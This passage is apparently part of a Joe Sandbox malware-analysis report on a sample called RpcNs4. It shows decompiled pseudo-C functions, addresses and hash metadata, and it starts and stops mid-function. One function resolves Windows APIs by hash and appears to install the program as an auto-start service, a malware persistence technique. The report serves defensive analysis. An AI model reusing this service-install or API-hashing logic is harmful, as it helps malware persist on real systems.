										if(_t228 != 0) {
											goto L78;
										}
										goto L51;
									}
									_t228 = (0 | _t295 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L49;
								}
								_t228 = (0 | _t293 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L47;
							}
							_t299 = (_t181 & 0x000000ff) - ( *(_t278 - 0x10) & 0x000000ff);
							if(_t299 == 0) {
								L36:
								_t301 = ( *(_t322 - 0xf) & 0x000000ff) - ( *(_t278 - 0xf) & 0x000000ff);
								if(_t301 == 0) {
									L38:
									_t303 = ( *(_t322 - 0xe) & 0x000000ff) - ( *(_t278 - 0xe) & 0x000000ff);
									if(_t303 == 0) {
										L40:
										_t228 = ( *(_t322 - 0xd) & 0x000000ff) - ( *(_t278 - 0xd) & 0x000000ff);
										if(_t228 != 0) {
											_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
										}
										goto L43;
									}
									_t228 = (0 | _t303 > 0x00000000) * 2 - 1;
									if(_t228 != 0) {
										goto L78;
									}
									goto L40;
								}
								_t228 = (0 | _t301 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L38;
							}
							_t228 = (0 | _t299 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L36;
						}
						_t305 = (_t180 & 0x000000ff) - ( *(_t278 - 0x14) & 0x000000ff);
						if(_t305 == 0) {
							L25:
							_t307 = ( *(_t322 - 0x13) & 0x000000ff) - ( *(_t278 - 0x13) & 0x000000ff);
							if(_t307 == 0) {
								L27:
								_t309 = ( *(_t322 - 0x12) & 0x000000ff) - ( *(_t278 - 0x12) & 0x000000ff);
								if(_t309 == 0) {
									L29:
									_t228 = ( *(_t322 - 0x11) & 0x000000ff) - ( *(_t278 - 0x11) & 0x000000ff);
									if(_t228 != 0) {
										_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
									}
									goto L32;
								}
								_t228 = (0 | _t309 > 0x00000000) * 2 - 1;
								if(_t228 != 0) {
									goto L78;
								}
								goto L29;
							}
							_t228 = (0 | _t307 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L27;
						}
						_t228 = (0 | _t305 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L25;
					}
					_t311 = (_t179 & 0x000000ff) - ( *(_t278 - 0x18) & 0x000000ff);
					if(_t311 == 0) {
						L14:
						_t313 = ( *(_t322 - 0x17) & 0x000000ff) - ( *(_t278 - 0x17) & 0x000000ff);
						if(_t313 == 0) {
							L16:
							_t315 = ( *(_t322 - 0x16) & 0x000000ff) - ( *(_t278 - 0x16) & 0x000000ff);
							if(_t315 == 0) {
								L18:
								_t228 = ( *(_t322 - 0x15) & 0x000000ff) - ( *(_t278 - 0x15) & 0x000000ff);
								if(_t228 != 0) {
									_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
								}
								goto L21;
							}
							_t228 = (0 | _t315 > 0x00000000) * 2 - 1;
							if(_t228 != 0) {
								goto L78;
							}
							goto L18;
						}
						_t228 = (0 | _t313 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L16;
					}
					_t228 = (0 | _t311 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
					goto L14;
				}
				_t317 = (_t177 & 0x000000ff) - ( *(__edx - 0x1c) & 0x000000ff);
				if(_t317 == 0) {
					L3:
					_t319 = ( *(_t322 - 0x1b) & 0x000000ff) - ( *(_t278 - 0x1b) & 0x000000ff);
					if(_t319 == 0) {
						L5:
						_t321 = ( *(_t322 - 0x1a) & 0x000000ff) - ( *(_t278 - 0x1a) & 0x000000ff);
						if(_t321 == 0) {
							L7:
							_t228 = ( *(_t322 - 0x19) & 0x000000ff) - ( *(_t278 - 0x19) & 0x000000ff);
							if(_t228 != 0) {
								_t228 = (0 | _t228 > 0x00000000) * 2 - 1;
							}
							goto L10;
						}
						_t228 = (0 | _t321 > 0x00000000) * 2 - 1;
						if(_t228 != 0) {
							goto L78;
						}
						goto L7;
					}
					_t228 = (0 | _t319 > 0x00000000) * 2 - 1;
					if(_t228 != 0) {
						goto L78;
					}
					goto L5;
				}
				_t228 = (0 | _t317 > 0x00000000) * 2 - 1;
				if(_t228 != 0) {
					goto L78;
				}
				goto L3;
			}

0x004160cc
0x004160cc
0x004160cc
0x004160d2
0x00416159
0x0041615b
0x0041615d
0x004164dc
0x004164dc
0x004172cd
0x004172cd
0x00416163
0x00416169
0x004161f0
0x004161f2
0x004161f4
0x00000000
0x00000000
0x004161fa
0x00416200
0x00416287
0x00416289
0x0041628b
0x00000000
0x00000000
0x00416291
0x00416297
0x0041631e
0x00416320
0x00416322
0x00000000
0x00000000
0x0041632e
0x004163b6
0x004163b8
0x004163ba
0x00000000
0x00000000
0x004163c0
0x004163c6
0x0041644d
0x0041644f
0x00416451
0x00000000
0x00000000
0x00416457
0x0041645d
0x004164d4
0x004164d6
0x004164d8
0x004164da
0x004164da
0x00000000
0x004164d8
0x00416466
0x00416468
0x0041647c
0x00416484
0x00416486
0x0041649a
0x004164a2
0x004164a4
0x004164b8
0x004164c0
0x004164c2
0x004164cb
0x004164cb
0x00000000
0x004164c2
0x004164ad
0x004164b6
0x00000000
0x00000000
0x00000000
0x004164b6
0x0041648f
0x00416498
0x00000000
0x00000000
0x00000000
0x00416498
0x00416471
0x0041647a
0x00000000
0x00000000
0x00000000
0x0041647a
0x004163d3
0x004163d5
0x004163ed
0x004163f5
0x004163f7
0x0041640f
0x00416417
0x00416419
0x00416431
0x00416439
0x0041643b
0x00416444
0x00416444
0x00000000
0x0041643b
0x00416422
0x0041642b
0x00000000
0x00000000
0x00000000
0x0041642b
0x00416400
0x00416409
0x00000000
0x00000000
0x00000000
0x00416409
0x004163de
0x004163e7
0x00000000
0x00000000
0x00000000
0x004163e7
0x0041633c
0x0041633e
0x00416356
0x0041635e
0x00416360
0x00416378
0x00416380
0x00416382
0x0041639a
0x004163a2
0x004163a4
0x004163ad
0x004163ad
0x00000000
0x004163a4
0x0041638b
0x00416394
0x00000000
0x00000000
0x00000000
0x00416394
0x00416369
0x00416372
0x00000000
0x00000000
0x00000000
0x00416372
0x00416347
0x00416350
0x00000000
0x00000000
0x00000000
0x00416350
0x004162a4
0x004162a6
0x004162be
0x004162c6
0x004162c8
0x004162e0
0x004162e8
0x004162ea
0x00416302
0x0041630a
0x0041630c
0x00416315
0x00416315
0x00000000
0x0041630c
0x004162f3
0x004162fc
0x00000000
0x00000000
0x00000000
0x004162fc
0x004162d1
0x004162da
0x00000000
0x00000000
0x00000000
0x004162da
0x004162af
0x004162b8
0x00000000
0x00000000
0x00000000
0x004162b8
0x0041620d
0x0041620f
0x00416227
0x0041622f
0x00416231
0x00416249
0x00416251
0x00416253
0x0041626b
0x00416273
0x00416275
0x0041627e
0x0041627e
0x00000000
0x00416275
0x0041625c
0x00416265
0x00000000
0x00000000
0x00000000
0x00416265
0x0041623a
0x00416243
0x00000000
0x00000000
0x00000000
0x00416243
0x00416218
0x00416221
0x00000000
0x00000000
0x00000000
0x00416221
0x00416176
0x00416178
0x00416190
0x00416198
0x0041619a
0x004161b2
0x004161ba
0x004161bc
0x004161d4
0x004161dc
0x004161de
0x004161e7
0x004161e7
0x00000000
0x004161de
0x004161c5
0x004161ce
0x00000000
0x00000000
0x00000000
0x004161ce
0x004161a3
0x004161ac
0x00000000
0x00000000
0x00000000
0x004161ac
0x00416181
0x0041618a
0x00000000
0x00000000
0x00000000
0x0041618a
0x004160df
0x004160e1
0x004160f9
0x00416101
0x00416103
0x0041611b
0x00416123
0x00416125
0x0041613d
0x00416145
0x00416147
0x00416150
0x00416150
0x00000000
0x00416147
0x0041612e
0x00416137
0x00000000
0x00000000
0x00000000
0x00416137
0x0041610c
0x00416115
0x00000000
0x00000000
0x00000000
0x00416115
0x004160ea
0x004160f3
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 93e6f77fd8daa23949c0989f16fd56e1ba36159d6bc17e5db1c235ab97b75544
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 54C186322051A30EDF5D4639C4340BFBBA55AA17B131B07AFD8B6CB2C5EE28C5A5D61C

Uniqueness

Uniqueness Score: -1.00%

Function 020B8830, Relevance: .2, Instructions: 164
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E020B8830() {
				char _v520;
				void* _v524;
				intOrPtr _v576;
				void* __ebx;
				void* __ebp;
				void* _t11;
				intOrPtr* _t12;
				void* _t17;
				intOrPtr* _t25;
				intOrPtr* _t29;
				intOrPtr* _t32;
				void* _t35;
				intOrPtr _t47;
				intOrPtr* _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr _t60;
				short* _t62;
				intOrPtr _t63;
				void* _t64;
				void* _t66;
				void* _t67;

				_t64 =  &_v524;
				_t58 = 0;
				_t11 = 0x4ca1f2b;
				_v524 = 0;
				_t35 = _v524;
				_t63 = _v524;
				_t60 = _v524;
				goto L1;
				do {
					while(1) {
						L1:
						_t66 = _t11 - 0x18939fc0;
						if(_t66 > 0) {
							goto L20;
						}
						L2:
						if(_t66 == 0) {
							_t25 =  *0x20bdd78;
							if(_t25 == 0) {
								_t25 = E020B3DD0(_t35, E020B3E70(0x60f9cb2), 0x70adb3c9, _t63);
								 *0x20bdd78 = _t25;
							}
							 *_t25(_t35);
							goto L36;
						} else {
							_t67 = _t11 - 0x10cf1835;
							if(_t67 > 0) {
								if(_t11 != 0x15f1b479) {
									break;
								} else {
									_t62 =  *0x20be368 + 0x14;
									while( *_t62 != 0x5c) {
										_t62 = _t62 + 2;
									}
									_t60 = _t62 + 2;
									_t11 = 0x10cf1835;
									continue;
								}
							} else {
								if(_t67 == 0) {
									_t29 =  *0x20bdcb4;
									if(_t29 == 0) {
										_t29 = E020B3DD0(_t35, E020B3E70(0x60f9cb2), 0x5f982ae8, _t63);
										 *0x20bdcb4 = _t29;
									}
									_t35 =  *_t29(0, 0, 0xf003f);
									if(_t35 == 0) {
										L36:
										return _t58;
									} else {
										_t11 = 0x3084d195;
										continue;
									}
								} else {
									if(_t11 == 0x4ca1f2b) {
										_t11 = 0x360409bf;
										continue;
									} else {
										if(_t11 != 0x7f4f3d3) {
											break;
										} else {
											_t32 =  *0x20bdd78;
											if(_t32 == 0) {
												_t32 = E020B3DD0(_t35, E020B3E70(0x60f9cb2), 0x70adb3c9, _t63);
												 *0x20bdd78 = _t32;
											}
											 *_t32(_t63);
											L10:
											_t11 = 0x18939fc0;
											while(1) {
												L1:
												_t66 = _t11 - 0x18939fc0;
												if(_t66 > 0) {
													goto L20;
												}
												goto L2;
											}
											goto L20;
										}
									}
								}
							}
						}
						L37:
						L20:
						if(_t11 == 0x3084d195) {
							_t12 =  *0x20bdf8c;
							if(_t12 == 0) {
								_t12 = E020B3DD0(_t35, E020B3E70(0x60f9cb2), 0xe2820d72, _t63);
								 *0x20bdf8c = _t12;
							}
							_t63 =  *_t12(_t35, _t60, _t60, 2, 0x10, 2, 0,  &_v520, 0, 0, 0, 0, 0);
							if(_t63 == 0) {
								goto L10;
							} else {
								_t58 = 1;
								_t11 = 0x348f3915;
								_v576 = 1;
							}
							continue;
						} else {
							if(_t11 == 0x348f3915) {
								E020B4FB0(_t35, _t63);
								_t11 = 0x7f4f3d3;
								continue;
							} else {
								if(_t11 != 0x360409bf) {
									break;
								} else {
									_t17 = E020B3460(0x20bd9e0);
									_t56 =  *0x20bdf10;
									_t59 = _t17;
									if(_t56 == 0) {
										_t56 = E020B3DD0(_t35, E020B3E70(0xe60124ba), 0xec538b3a, _t63);
										 *0x20bdf10 = _t56;
									}
									_t47 =  *0x20be368;
									 *_t56( &_v520, 0x104, _t59, _t47 + 0x220, _t47 + 0x14);
									_t64 = _t64 + 0x14;
									E020B3400(_t59);
									_t58 = _v524;
									_t11 = 0x15f1b479;
									continue;
								}
							}
						}
						goto L37;
					}
				} while (_t11 != 0x121f9a16);
				return _t58;
				goto L37;
			}

0x020b8830
0x020b883a
0x020b883c
0x020b8841
0x020b8845
0x020b8849
0x020b884d
0x020b884d
0x020b8851
0x020b8851
0x020b8851
0x020b8851
0x020b8856
0x00000000
0x00000000
0x020b885c
0x020b885c
0x020b8a38
0x020b8a3f
0x020b8a52
0x020b8a57
0x020b8a57
0x020b8a5d
0x00000000
0x020b8862
0x020b8862
0x020b8867
0x020b88fe
0x00000000
0x020b8904
0x020b890a
0x020b8911
0x020b8913
0x020b8916
0x020b891c
0x020b891f
0x00000000
0x020b891f
0x020b886d
0x020b886d
0x020b88b6
0x020b88bd
0x020b88d0
0x020b88d5
0x020b88d5
0x020b88e5
0x020b88e9
0x020b8a5f
0x020b8a6b
0x020b88ef
0x020b88ef
0x00000000
0x020b88ef
0x020b886f
0x020b8874
0x020b88af
0x00000000
0x020b8876
0x020b887b
0x00000000
0x020b8881
0x020b8881
0x020b8888
0x020b889b
0x020b88a0
0x020b88a0
0x020b88a6
0x020b88a8
0x020b88a8
0x020b8851
0x020b8851
0x020b8851
0x020b8856
0x00000000
0x00000000
0x00000000
0x020b8856
0x00000000
0x020b8851
0x020b887b
0x020b8874
0x020b886d
0x020b8867
0x00000000
0x020b8929
0x020b892e
0x020b89db
0x020b89e2
0x020b89f5
0x020b89fa
0x020b89fa
0x020b8a1b
0x020b8a1f
0x00000000
0x020b8a25
0x020b8a25
0x020b8a2a
0x020b8a2f
0x020b8a2f
0x00000000
0x020b8934
0x020b8939
0x020b89cc
0x020b89d1
0x00000000
0x020b893f
0x020b8944
0x00000000
0x020b8946
0x020b894b
0x020b8950
0x020b8956
0x020b895a
0x020b8972
0x020b8974
0x020b8974
0x020b897a
0x020b8996
0x020b8998
0x020b899d
0x020b89a2
0x020b89a6
0x00000000
0x020b89a6
0x020b8944
0x020b8939
0x00000000
0x020b892e
0x020b89b0
0x020b89c7
0x00000000

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bf24377065e196552bf351b68b1a069537163b2f31350834e3111dd385cb1e27
Instruction ID: 5fb37e9237aeef7ae08846ac1426e7e975ac5eeb318e619f447f6b645ed299c2
Opcode Fuzzy Hash: bf24377065e196552bf351b68b1a069537163b2f31350834e3111dd385cb1e27
Instruction Fuzzy Hash: F3512664B0030597DF37AB6498587FE72DAEFC4304F28882EE945DB2A0DB74DC41A792

Uniqueness

Uniqueness Score: -1.00%

Function 020B4D60, Relevance: .0, Instructions: 2
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E020B4D60() {

				return  *[fs:0x30];
			}

0x020b4d66

Memory Dump Source

Source File: 00000002.00000002.257541494.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000002.00000002.257535197.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.257576055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20b0000_RpcNs4.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0040BA7D, Relevance: 65.0, APIs: 32, Strings: 5, Instructions: 239
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0040BA7D(void* __edx, signed int* _a4) {
				signed int _v8;
				char _v16;
				char _v24;
				char _v122;
				char _v123;
				char _v124;
				char _v128;
				char _v132;
				signed int _v136;
				signed int _v140;
				char _v148;
				char _v156;
				char _v164;
				char _v172;
				char _v180;
				char _v188;
				char _v196;
				char _v204;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t53;
				intOrPtr* _t55;
				char* _t56;
				void* _t87;
				void* _t101;
				char _t110;
				intOrPtr _t116;
				char* _t133;
				intOrPtr _t151;
				signed int* _t152;
				signed int _t153;
				void* _t156;

				_t150 = __edx;
				_t53 =  *0x435040; // 0x4b97bcea
				_v8 = _t53 ^ _t153;
				_t55 =  *0x4376d4; // 0x0
				_t152 = _a4;
				_t116 =  *_t55;
				_t56 = _t55 + 1;
				_t151 = _t116;
				 *0x4376d4 = _t56;
				_t156 = _t151 - 0x45;
				if(_t156 > 0) {
					if(_t151 <= 0x4a) {
						E00406FCF( &_v132, 0x7b);
						if(_t116 <= 2) {
							E004076FC( &_v132, E0040980B(__edx,  &_v180));
							E0040773F( &_v132, 0x2c);
						}
						_t151 = _t151 - 0x46;
						if(_t151 == 0) {
							L48:
							E004076FC( &_v132, E0040B56E(_t150,  &_v172));
							E0040773F( &_v132, 0x2c);
							goto L49;
						} else {
							_t151 = _t151 - 1;
							if(_t151 == 0) {
								L47:
								E004076FC( &_v132, E0040B56E(_t150,  &_v156));
								E0040773F( &_v132, 0x2c);
								goto L48;
							} else {
								_t151 = _t151 - 1;
								if(_t151 == 0) {
									L49:
									E004076FC( &_v132, E0040B56E(_t150,  &_v188));
								} else {
									_t151 = _t151 - 1;
									if(_t151 == 0) {
										goto L48;
									} else {
										if(_t151 == 0) {
											goto L47;
										}
									}
								}
							}
						}
						E00407674( &_v132, _t152, 0x7d);
					} else {
						if(_t151 == 0x51) {
							goto L7;
						} else {
							if(_t151 == 0x52) {
								L34:
								E0040C696(_t150,  &_v140, 0, 0);
								E0040B56E(_t150,  &_v132);
								 *_t152 = _v140;
								_t152[1] = _v136;
							} else {
								if(_t151 == 0x53) {
									 *_t152 =  *_t152 & 0x00000000;
									_t152[1] = 0;
									_t152[1] = _t152[1] & 0xffff00ff;
								} else {
									if(_t151 != 0x54) {
										goto L13;
									} else {
										goto L34;
									}
								}
							}
						}
					}
				} else {
					if(_t156 == 0) {
						E0040980B(__edx, _t152);
						goto L25;
					} else {
						_t151 = _t151;
						if(_t151 == 0) {
							 *0x4376d4 = _t56 - 1;
							goto L27;
						} else {
							_t151 = _t151 - 0x30;
							if(_t151 == 0) {
								E0040B56E(__edx, _t152);
								L25:
							} else {
								_t151 = _t151 - 1;
								if(_t151 == 0) {
									if( *_t56 != 0x40) {
										_push(E0040980B(__edx,  &_v204));
										_push(_t152);
										_t101 = E00407048( &_v148, "&");
										goto L19;
									} else {
										 *0x4376d4 = _t56 + 1;
										_push("NULL");
										goto L22;
									}
								} else {
									_t151 = _t151 - 1;
									if(_t151 == 0) {
										E0040B56E(__edx,  &_v132);
										E0040B56E(__edx,  &_v140);
										if(_v128 > 1 || _v136 > 1) {
											L27:
											_push(1);
											goto L14;
										} else {
											if(E0040B5E8( &_v132,  &_v123, 0x64) != 0) {
												_t110 = _v123;
												_v124 = _t110;
												if(_t110 != 0x2d) {
													_v123 = 0x2e;
												} else {
													_v123 = _v122;
													_v122 = 0x2e;
												}
												_push( &_v140);
												_push(_t152);
												_t101 = E00407674(E00407048( &_v196,  &_v124),  &_v164, 0x65);
												L19:
												E00407652(_t101);
											} else {
												goto L13;
											}
										}
									} else {
										if(_t151 != 0) {
											L13:
											_push(2);
											L14:
											E00407082(_t152);
										} else {
											L7:
											E0040B56E(_t150,  &_v132);
											if(( *0x4376e4 & 0x00004000) == 0) {
												L36:
												_t133 =  &_v16;
												_push( &_v132);
												_push( &_v140);
												if(_t116 != 0x44) {
													_push("`non-type-template-parameter");
												} else {
													_push("`template-parameter");
												}
												E00407652(E00407048(_t133));
												E004076B8( &_v140, _t152, "\'");
											} else {
												E0040B5E8( &_v132,  &_v24, 0x10);
												_t87 =  *0x4376ec(E0040F7EF( &_v24));
												if(_t87 == 0) {
													goto L36;
												} else {
													_push(_t87);
													L22:
													E00407048(_t152);
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return E004023FF(_t116, _v8 ^ _t153, _t150, _t151, _t152);
			}

0x0040ba7d
0x0040ba86
0x0040ba8d
0x0040ba90
0x0040ba97
0x0040ba9a
0x0040ba9c
0x0040ba9e
0x0040baa1
0x0040baa6
0x0040baa9
0x0040bc1e
0x0040bccb
0x0040bcd6
0x0040bce9
0x0040bcf3
0x0040bcf3
0x0040bcf8
0x0040bcfb
0x0040bd29
0x0040bd3a
0x0040bd44
0x00000000
0x0040bcfd
0x0040bcfd
0x0040bcfe
0x0040bd09
0x0040bd1a
0x0040bd24
0x00000000
0x0040bd00
0x0040bd00
0x0040bd01
0x0040bd49
0x0040bd5a
0x0040bd03
0x0040bd03
0x0040bd04
0x00000000
0x0040bd06
0x0040bd07
0x00000000
0x00000000
0x0040bd07
0x0040bd04
0x0040bd01
0x0040bcfe
0x0040bd65
0x0040bc24
0x0040bc27
0x00000000
0x0040bc2d
0x0040bc30
0x0040bc40
0x0040bc4b
0x0040bc54
0x0040bc62
0x0040bc6a
0x0040bc32
0x0040bc35
0x0040bc72
0x0040bc75
0x0040bc79
0x0040bc37
0x0040bc3a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bc3a
0x0040bc35
0x0040bc30
0x0040bc27
0x0040baaf
0x0040baaf
0x0040bc14
0x00000000
0x0040bab5
0x0040bab5
0x0040bab8
0x0040bc07
0x00000000
0x0040babe
0x0040babe
0x0040bac1
0x0040bbfb
0x0040bc00
0x0040bac7
0x0040bac7
0x0040bac8
0x0040bbc0
0x0040bbe6
0x0040bbe7
0x0040bbf3
0x00000000
0x0040bbc2
0x0040bbc3
0x0040bbc8
0x00000000
0x0040bbc8
0x0040bace
0x0040bace
0x0040bacf
0x0040bb26
0x0040bb32
0x0040bb3d
0x0040bc0c
0x0040bc0c
0x00000000
0x0040bb50
0x0040bb60
0x0040bb70
0x0040bb73
0x0040bb78
0x0040bb86
0x0040bb7a
0x0040bb7d
0x0040bb80
0x0040bb80
0x0040bb90
0x0040bb91
0x0040bbac
0x0040bbb1
0x0040bbb3
0x00000000
0x00000000
0x00000000
0x0040bb60
0x0040bad1
0x0040bad4
0x0040bb62
0x0040bb62
0x0040bb64
0x0040bb66
0x0040bada
0x0040bada
0x0040bade
0x0040baee
0x0040bc85
0x0040bc88
0x0040bc8b
0x0040bc92
0x0040bc96
0x0040bcbf
0x0040bc98
0x0040bc98
0x0040bc98
0x0040bca4
0x0040bcb5
0x0040baf4
0x0040bafd
0x0040bb0c
0x0040bb16
0x00000000
0x0040bb1c
0x0040bb1c
0x0040bbcd
0x0040bbcf
0x0040bbcf
0x0040bb16
0x0040baee
0x0040bad4
0x0040bacf
0x0040bac8
0x0040bac1
0x0040bab8
0x0040baaf
0x0040bd7c

APIs

DName::getString.LIBCMT ref: 0040BAFD

Part of subcall function 0040B5E8: _HeapManager::getMemory.LIBCMT ref: 0040B60B

Part of subcall function 0040F7EF: __wcstoi64.LIBCMT ref: 0040F7F9

DName::DName.LIBCMT ref: 0040BCCB
UnDecorator::getDecoratedName.LIBCMT ref: 0040BCDF
DName::operator+=.LIBCMT ref: 0040BCE9
DName::operator+=.LIBCMT ref: 0040BCF3
UnDecorator::getSignedDimension.LIBCMT ref: 0040BD10
DName::operator+=.LIBCMT ref: 0040BD1A
DName::operator+=.LIBCMT ref: 0040BD24
UnDecorator::getSignedDimension.LIBCMT ref: 0040BADE

Part of subcall function 0040B56E: DName::DName.LIBCMT ref: 0040B583

UnDecorator::getSignedDimension.LIBCMT ref: 0040BB26
UnDecorator::getSignedDimension.LIBCMT ref: 0040BB32
DName::getString.LIBCMT ref: 0040BB59
DName::DName.LIBCMT ref: 0040BB66
DName::DName.LIBCMT ref: 0040BBA5
DName::operator+.LIBCMT ref: 0040BBAC
DName::operator+.LIBCMT ref: 0040BBB3
DName::DName.LIBCMT ref: 0040BBCF
UnDecorator::getDecoratedName.LIBCMT ref: 0040BBE0
DName::DName.LIBCMT ref: 0040BBF3
UnDecorator::getSignedDimension.LIBCMT ref: 0040BBFB
UnDecorator::getDecoratedName.LIBCMT ref: 0040BC14
UnDecorator::getZName.LIBCMT ref: 0040BC4B
UnDecorator::getSignedDimension.LIBCMT ref: 0040BC54
DName::DName.LIBCMT ref: 0040BC9D
DName::operator+.LIBCMT ref: 0040BCA4
DName::operator+.LIBCMT ref: 0040BCB5
UnDecorator::getSignedDimension.LIBCMT ref: 0040BD30
DName::operator+=.LIBCMT ref: 0040BD3A
DName::operator+=.LIBCMT ref: 0040BD44
UnDecorator::getSignedDimension.LIBCMT ref: 0040BD50
DName::operator+=.LIBCMT ref: 0040BD5A
DName::operator+.LIBCMT ref: 0040BD65

Strings

., xrefs: 0040BB86
`non-type-template-parameter, xrefs: 0040BCBF
`template-parameter, xrefs: 0040BC98
NULL, xrefs: 0040BBC8
., xrefs: 0040BB80

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: Decorator::get$Name$DimensionSigned$Name::Name::operator+=$Name::operator+$Decorated$Name::getString$HeapManager::getMemory__wcstoi64
String ID: .$.$NULL$`non-type-template-parameter$`template-parameter
API String ID: 794994914-3945972591
Opcode ID: 1c2fea9a4649ad5569de1717745718e8fbf6f0c4d96ecaba2659b31418f3cf6a
Instruction ID: 201b8f6032eaa1f4d38bc2e805cd0a82f907350239d40423b13d8945d61c76b7
Opcode Fuzzy Hash: 1c2fea9a4649ad5569de1717745718e8fbf6f0c4d96ecaba2659b31418f3cf6a
Instruction Fuzzy Hash: 6B8180719045089AEB24E779CC56BEEB768EB11314F50447FE042B31D2DF7C6A448B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00401460, Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 231
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401460(void* __ecx) {
				signed int _v8;
				struct _SYSTEMTIME _v24;
				struct HDC__* _v28;
				signed int _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t60;
				signed short _t65;
				void* _t105;
				signed int _t109;
				signed int _t120;
				signed int _t123;
				signed int _t125;
				void* _t127;
				signed int _t128;
				struct HDC__* _t130;
				signed int _t133;
				signed int _t136;
				struct HDC__* _t137;
				signed int _t140;
				signed int _t141;

				_t60 =  *0x435040; // 0x4b97bcea
				_v8 = _t60 ^ _t141;
				_t105 = __ecx;
				_t130 = GetDC( *(__ecx + 0x18));
				_v28 = _t130;
				GetLocalTime( &_v24);
				StretchBlt(_t130, 0, 0, 0x6f, 0x15,  *(_t105 + 0x10), 0xaa, 0, 2, 0x15, 0xcc0020);
				if( *((char*)(_t105 + 0x1c)) != 0) {
					_t65 = _v24.wHour;
					_t120 = _t65 & 0x0000ffff;
					if(_t65 > 0xc) {
						_t120 = _t120 - 0xc;
					}
					_t109 = (0x66666667 * _t120 >> 0x20 >> 2 >> 0x1f) + (0x66666667 * _t120 >> 0x20 >> 2);
					_v32 = _t120 - _t109 + _t109 * 4 + _t109 + _t109 * 4;
					BitBlt(_t130, 2, 0, 0xd, 0x15,  *(_t105 + 0x10), _t109 * 0xd, 0, 0xcc0020);
					BitBlt(_t130, 0xf, 0, 0xd, 0x15,  *(_t105 + 0x10), _v32 * 0xd, 0, 0xcc0020);
				} else {
					_t128 = _v24.wHour & 0x0000ffff;
					_t140 = (0x66666667 * _t128 >> 0x20 >> 2 >> 0x1f) + (0x66666667 * _t128 >> 0x20 >> 2);
					BitBlt(_v28, 2, 0, 0xd, 0x15,  *(_t105 + 0x10), _t140 * 0xd, 0, 0xcc0020);
					BitBlt(_v28, 0xf, 0, 0xd, 0x15,  *(_t105 + 0x10), (_t128 - _t140 + _t140 * 4 + _t140 + _t140 * 4) * 0xd, 0, 0xcc0020);
				}
				_t123 = _v24.wMinute & 0x0000ffff;
				_t133 = (0x66666667 * _t123 >> 0x20 >> 2 >> 0x1f) + (0x66666667 * _t123 >> 0x20 >> 2);
				BitBlt(_v28, 0x23, 0, 0xd, 0x15,  *(_t105 + 0x10), _t133 * 0xd, 0, 0xcc0020);
